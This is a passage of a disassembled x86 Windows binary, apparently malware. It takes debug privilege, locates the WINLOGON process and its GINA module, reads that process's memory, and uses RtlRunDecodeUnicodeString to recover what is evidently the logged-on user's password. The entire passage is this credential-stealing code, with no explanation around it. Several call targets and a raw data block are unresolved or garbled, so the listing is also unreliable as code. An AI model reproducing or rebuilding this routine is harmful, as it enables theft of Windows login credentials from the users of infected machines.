		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438438
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22C8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0E890FC75h, 2348DD8h, 8F75C085h, 90FC75FFh, 1D8DCBE8h
		dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 348D53E8h,	0C0859002h
		dd 9056B175h, 1D8D47E8h, 1C458B02h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26B0000h
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset off_4385B4
		call	esi
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset off_43859C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27907BAh
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26802EFh
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27D0310h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27C0B1Eh
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 275064Ch
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2750000h
		nop
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26608D5h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 26802EFh
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27D0310h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27C0B1Eh
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27D0000h
		nop
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27B0000h
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26608D5h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26608D5h
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27C0AA9h
		nop
		push	eax
		nop
		call	near ptr 27C0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27C0AA9h
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
